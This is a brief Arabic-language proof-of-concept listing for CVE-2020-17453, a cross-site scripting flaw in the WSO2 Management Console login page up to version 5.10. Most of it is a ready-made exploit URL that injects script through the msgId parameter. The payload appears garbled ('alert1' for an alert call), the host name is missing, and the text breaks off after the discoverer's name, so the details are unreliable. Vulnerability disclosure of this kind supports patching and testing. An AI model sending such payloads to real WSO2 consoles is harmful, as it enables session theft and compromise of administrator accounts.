CVE-2020-17453-PoC

CVE-2020-17453 تسمح وحدة تحكم إدارة WSO2 حتى الإصدار 5.10 بحدوث هجوم XSS عبر معلمة msgId في carbon/admin/login.jsp. إثبات المفهوم PoC root@kitploit: https://.com/carbon/admin/login.jsp?msgId=%27;alert1// المكتشفون الاسم: Jackson Henry...